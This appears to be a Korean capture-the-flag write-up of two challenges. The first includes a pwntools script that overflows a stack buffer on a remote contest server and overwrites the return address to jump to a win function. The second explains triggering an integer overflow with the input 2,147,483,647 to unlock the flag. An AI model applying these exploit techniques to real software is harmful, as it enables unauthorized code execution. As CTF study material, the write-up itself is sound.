Seen Guessing



총 7번 돌고 종료된다. win
함수도 있어서 그냥 Return 주소 조작해서 풀었다.
from pwn import *
# p = process('./chall')
p = remote('164.92.176.247', 5002)
strings = ['Sonbol', 'Sabzeh', 'Seer', 'Seeb', 'Senjed', 'Samanu', 'Serkeh']
for i in range(0, len(strings)-1):
p.sendlineafter(b'Seen:',strings[i].encode())
pay = strings[6].encode()
pay += b'\x00' * (0x20 - len(pay))
pay += b'B' * 0x8
pay += p64(0x0000000000401216)
p.sendlineafter(b'Seen:', pay)
p.interactive()
Seen shop
특이하게 소스코드만 주는 문제였다. 때문에 동적 분석은 필요 없을 정도로 쉬운 문제라고 생각해서 먼저 플래그를 구할 수 있는 벡터 먼저 탐색했다.

위 함수에서 플래그를 얻을 수 있다. quantities[6]
이 10보다 클 경우 플래그를 출력해준다. 그리고 quantities
는 addToBasket
함수에서 입력이 가능했다.

그래서 코드만 보고 가장 먼저 7이랑 11을 입력해봤다.

보이다 싶이 880,000,000 보다 높은 수를 입력해야 하는 듯 보였다. 그래서 integer overflow
라고 유추해서 2,147,483,647 를 입력해봤더니 플래그가 출력됐다.
